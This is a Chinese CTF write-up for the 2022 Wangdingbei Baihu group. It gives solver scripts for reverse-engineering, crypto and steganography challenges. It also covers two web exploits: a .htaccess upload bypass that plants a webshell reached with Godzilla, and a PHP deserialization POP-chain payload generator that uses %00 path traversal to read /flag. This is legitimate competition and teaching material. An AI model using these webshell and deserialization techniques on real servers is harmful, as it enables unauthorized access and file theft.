2022网鼎杯白虎组部分wp(新增re-junk)
原创 Red0 2022-08-30 08:30 浙江
0x0 junk

patch掉阶段一的花指令后,发现程序中存在大量int 3调试中断指令,又有位于0x140001320的调试中断事件处理函数,如下图所示:

阶段一和阶段二的patch脚本如下:
from keystone import *ks = Ks(KS_ARCH_X86,KS_MODE_64)def patch1(start, end):size = end - startstart -= 0xc00end -= 0xc00tmp = bytearray(raw)for i in range(start, end):if tmp[i:i+5] == b'\x50\x48\x31\xc0\x74':tmp[i+4] = 0xebjmp_size = tmp[i+5]tmp[i+6:i+6+jmp_size] = b'\x90'*jmp_sizewith open('junk-new1.exe','wb') as f:f.write(tmp)def patch2(start, end):size = end - startstart -= 0xc00end -= 0xc00tmp = bytearray(raw)for i in range(start, end):if i in (0x41e, 0x41f, 0xcd2):continueif 0x572 <= i < 0x580 or 0x71d <= i < 0x720 or 0xd4c <= i < 0xd50 or 0xe45 <= i < 0xe50 or 0xe9b <= i < 0xea0:continueif tmp[i] != 0xcc:continuechoice = tmp[i+1]if choice == 1:ins_len = 4delta = tmp[i+3]sign = tmp[i+2]if sign == 3:ins = f'sub rsp, {delta:#x}'elif sign == 2:ins = f'add rsp, {delta:#x}'else:print('Sign error!')assert 0elif choice == 4:ins = 'mov rcx, rsi'ins_len = 3elif choice == 5:ins = 'cmp rax, 0x2a'ins_len = 4elif choice == 6:ins = 'mov rdx, rsi'ins_len = 3elif choice == 8:ins = 'mov edx, 0x9E3779B9'ins_len = 5elif choice == 9:ins = 'mov r11d, 32'ins_len = 6elif choice == 10:ins = 'mov eax, esi'ins_len = 2elif choice == 11:ins = 'mov ebx, eax'ins_len = 2elif choice == 12:ins = 'xor ebx, esi'ins_len = 2elif choice == 13:ins = 'add ebx, 45'ins_len = 3elif choice == 14:ins = 'xor ebx, edi'ins_len = 2elif choice == 15:ins = 'add ecx, ebx'ins_len = 2elif choice == 16:ins = 'mov esi, ecx'ins_len = 2elif choice == 17:ins = 'add esi, 67'ins_len = 3elif choice == 18:ins = 'xor edi, esi'ins_len = 2elif choice == 19:ins = 'add esi, 86'ins_len = 3elif choice == 20:ins = 'xor esi, edi'ins_len = 2elif choice == 29:ins = 'call 0x140001950; push rax'tmp[i:i+6] = ks.asm(ins, 0x1400010B8)[0]elif choice == 30:tmp[i:i+2] = ks.asm('jmp 0x140001106', 0x1400010F0)[0]tmp[0x506:0x506+7] = ks.asm('call 0x140001a50;jmp 0x1400010F2', 0x140001106)[0]else:print(f'{i+0x140000c00:#x}: unknown {choice}')assert 0if choice not in (29, 30):tmp[i:i+ins_len] = ks.asm(ins)[0]with open('junk-new2.exe','wb') as f:f.write(tmp)with open('./junk.exe', 'rb') as f:raw = f.read()patch1(0x1000, 0x1aa0)with open('./junk-new1.exe', 'rb') as f:raw = f.read()patch2(0x1000, 0x1aa0)
阶段三

其中enc1函数为TEA加密

enc2函数为逐字节循环左移5位

from struct import pack, unpackfrom ctypes import *ans = [ 0xF2, 0x7F, 0x09, 0x05, 0xD7, 0x77, 0x16, 0x91, 0x25, 0x01,0x2E, 0xC5, 0x97, 0x26, 0x63, 0x82, 0x01, 0x40, 0x15, 0x2D,0xFC, 0x53, 0xDB, 0xD3, 0xC4, 0xDB, 0x0A, 0x1F, 0x82, 0x1E,0x99, 0x4E, 0xFE, 0x0C, 0x80, 0xB8, 0xA5, 0x61, 0x0E, 0x99,0xDF, 0x39]def dec1(data):for i in range(len(data)):data[i] = (data[i] >> 5) | ((data[i] << 3) & 0xff)def dec2(data):for i in range(len(data)):data[i] ^= 0x66data[i] -= 50data[i] &= 0xffdef dec3(data):data = bytearray(data)k = [12, 45, 67, 86]for i in range(0, 40, 8):v0, v1 = unpack('II', data[i:i+8])v0 = c_uint32(v0)v1 = c_uint32(v1)delta = 0x9E3779B9total = c_uint32(delta*32)for j in range(32):v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + total.value) ^ ((v0.value >> 5) + k[3])v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + total.value) ^ ((v1.value >> 5) + k[1])total.value -= deltadata[i:i+8] = pack('II', v0.value, v1.value)return dataif __name__ == '__main__':data = ansdec1(data)dec2(data)flag = dec3(data)print(flag)
运行即可得到flag

0x1 签到题



0x2 simple math

脚本如下:
from Crypto.Util.number import *import hashlibfrom gmpy2 import *c1 = 85139434329272123519094184286276070319638471046264384499440682030525456122476228324462769126167628121006213531153927884870307999106015430909361792093581895091445829379547633304737916675926004298753674268141399550405934376072486086468186907326396270307581239055199288888816051281495009808259009684332333344687c2 = 104554808380721645840032269336579549039995977113982697194651690041676187039363703190743891658905715473980017457465221488358016284891528960913854895940235089108270134689312161783470000803482494370322574472422461483052403826282470850666418693908817591349159407595131136843764544166774390400827241213500917391144c3 = 94771625845449128812081345291218973301979152577131568497740476123729158619324753128517222692750900524689049078606978317742545997482763600884362992468406577524708622046033409713416026145377740182233674890063333534646927601262333672233695863286637817471270314093720827409474178917969326556939942622112511819330x = 78237329408351955465927092805995076909826011029371783256454322166600398149132623484679723362562600068961760410039241554232588011577854168402399895992331761353772415982560522912511879304977362225597552446397868843275129027248765252784503841114291392822052506837132093960290237335686354012448414804030938873765y = 100442166633632319633494450595418167608036668647704883492068692098914206322465717138894302011092841820156560129280901426898815274744523998613724326647935591857728931946261379997352809249780159136988674034759483947949779535134522005905257436546335376141008113285692888482442131971935583298243412131571769294029z = 104712661985900115750011628727270934552698948001634201257337487373976943443738367683435788889160488319624447315127992641805597631347763038111352925925686965948545739394656951753648392926627442105629724634607023721715249914976189181389720790879720452348480924301370569461741945968322303130995996793764440204452e=2022tmp1 = pow(x-e,e)-c1tmp2 = pow(y-e,e)-c2m = gcd(tmp1,tmp2)print(m)tmp3 = (x-e) % mfor i in range(1000):m1 = tmp3 + i*mif c1 == pow(m+m1,e,m*m1):print (m1)breaktmp4 = (y-e) % mfor i in range(1000):m2=tmp4+i*mif c2 == pow(m+m2,e,m*m2):print(m2)breakflag = m + m1 + m2flag = hashlib.md5(str(flag).encode('utf-8')).hexdigest()print(flag)
0x3 easywork
根据https://blog.csdn.net/superprintf/article/details/108964563博客中的方法中求解a、b、n。
from math import gcdfrom gmpy2 import invertx = [150532854791355748039117763516755705063,335246949167877025932432065299887980427,186623163520020374273300614035532913241,215621842477244010690624570814660992556,220694532805562822940506614120520015819,17868778653481346517880312348382129728,160572327041397126918110376968541265339]t = [x[i+1] - x[i] for i in range(len(x)-1)]def f(i):return t[i]*t[i+2]-t[i+1]*t[i+1]p = gcd(f(0), f(1))print('p=',p)a = invert(x[1]-x[0], p)a = a * (x[2]-x[1]) % pprint('a=',a)b = (x[1] - x[0] * a) % pprint('b=',b)#p= 339088189917874808463944743121467561531#a= 259086495324961642923203668736965982268#b= 121870392737324465817476070178603827899

p= 339088189917874808463944743121467561531a= 259086495324961642923203668736965982268b= 121870392737324465817476070178603827899c = 114514e= int(2e8)m = 10**10000e1 = (a*c)/(b-c)e2 = p/(b-1)def f(n):t1 = RR(pow(b, n, m).lift())t2 = RR(pow(c, n, m).lift())return t1*(1+e1+e2)-e1*t2-e2print(f(e))
最后将f(e)带入sol后算出md5,与加密结果异或得到flag

0x4 Web -923

有.git路径,所以有git泄露,拖源码

代码审计发现上传路径

上传后,由时间戳重命名

发现有后缀过滤

但htaccess过滤有问题,只过滤了.htaccess后缀的,所以可以上传.htaccess文件,且同时需要跟木马文件同一时间上传


成功解析
哥斯拉连上,读取flag
0x5 Misc-620
爆破密码得到密码99114514
发现password,7EqufFnrSGk=
base64解密得,EC4AAE7C59EB4869
尝试解MD5得,nmy0612
得到flag文件
爆破编码得flag,flag{d2112923-78d6-4064-977c-b73297dc4491}
0x6 misc034
文件名字tHXcode (后面才知道是汉信码)
Hxd打开文件 发现有PNG的特征 把它补全
打开来是二维码
扫描二维码 转到油管视频 翻了一下好像没有意义 https://www.youtube.com/watch?v=l3N9fPIT4yw
用stegsolve发现通道RGB 0 1通道有大概噪点
把噪点提取出来
import cv2import cv2 as cvimport numpy as npimport ospic = cv2.imread("D:\\tmp\\tHXcode.png")c1,c2,c3 = pic.shapeblank_image = np.zeros((348,348,3), np.uint8)for i in range(c1):for j in range(c2):for k in range(c3):if pic[i,j,k] == 0 or pic[i,j,k] == 255:blank_image[i,j,k] = 0else:blank_image[i, j, k] = 255cv2.imwrite('new.png',blank_image)cv2.imshow('canvas',blank_image)cv2.waitKey(0)cv2.destroyAllWindows()
跑出来这样
长得像二维码少了定位标志 但又不太对 发现是汉信码
找个画格子网站https://www.pixilart.com/draw?ref=home-page 画出来
读取得到flag flag{ae0f3bce-814b-4928-9801-7a2f2ca88273}
0x7 MISC830
伪加密,改09为00
得到图片
Stegsolve看一下,最后一个通道前面都是0和1
发现有108900个0或1
发现330*330=108900,尝试以1为黑,0为白,画图
import cv2import cv2 as cvimport numpy as npf = open("123.txt",encoding = "utf-8")blank_image = np.zeros((330,330,3), np.uint8)a = f.read()aa = 0for i in a:x = aa//330y = aa%330if i == '0':blank_image[x, y, 1] = 0else:blank_image[x, y, 0] = 255blank_image[x, y, 1] = 255blank_image[x, y, 2] = 255aa += 1cv2.imwrite('new.png',blank_image)cv2.imshow('canvas',blank_image)cv2.waitKey(0)cv2.destroyAllWindows()
像是拼接的二维码,拼接一下
扫码得flag
0x8 WEB925
反序列化要触发readfile函数读取flag,要找能够执行函数调用Onemore类的readfile方法,在suhasuha类的__set方法中($this->action)()存在函数调用点,因此要想办法触发__set魔术方法。在abaaba类中_get方法里存在$this->DoNotGet->$name = "two"的set链,因此需要将$this->DoNotGet设为suhashuha类,这样触发__get方法后尝试给suhasuha中的name参数赋值,触发suhasuha类中的__set方法。
接下来的问题是,如何触发abaaba类的__get魔术方法,在abaaba类中本身存在的__toString魔术方法中存在get操作,可以触发__get魔术方法,接着考虑如何触发abaaba类的__toString魔术方法,往下看在One类中的__destruct方法中可以将$count参数当字符串使用,此处将abaaba类实例传入$count参数即可触发__toString魔术方法,综上,正向调用链为首先初始化一个abaaba类将suhasuha类赋给DoNotGet参数,再利用One->__toString->abaaba->__toString->abaaba->__get->suhasuha->__set->Onemore->readfile。
safe过滤函数过滤了/../../和其转义变形,用%00绕过即可。
class abaaba{protected $DoNotGet;public function __construct($s){echo '1';$this->DoNotGet = $s;}public function __get($name){echo '2';$this->DoNotGet->$name = "two";return $this->DoNotGet->$name;}public function __toString(){echo '3';return $this->Giveme;}}class Onemore{public $file;public function readfile($f){echo '4';$this->file = isset($f) ? $f : 'image'.$this->file;echo file_get_contents(safe($this->file));}public function __invoke(){echo '5';return $this->filename->Giveme;}}class suhasuha{public $action;public function __set($name, $value){echo '6';$this->Giveme = ($this->action)();return $this->Giveme;}}class One{public $count;public function __construct(){echo '7';$this->count = "one";}public function __destruct(){echo '8';echo "try ".$this->count." again";}}function safe($path){$path = preg_replace("/.*\/\/.*/", "", $path);$path = preg_replace("/\..\..*/", "!", $path);$path = htmlentities($path);return strip_tags($path);}$a = new One();$b = new suhasuha();$c = new Onemore();$d = new abaaba($b);$a->count = $d;$b->action = [$c,"readfile"];$c->file = urldecode("/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/flag");echo urlencode(serialize($a));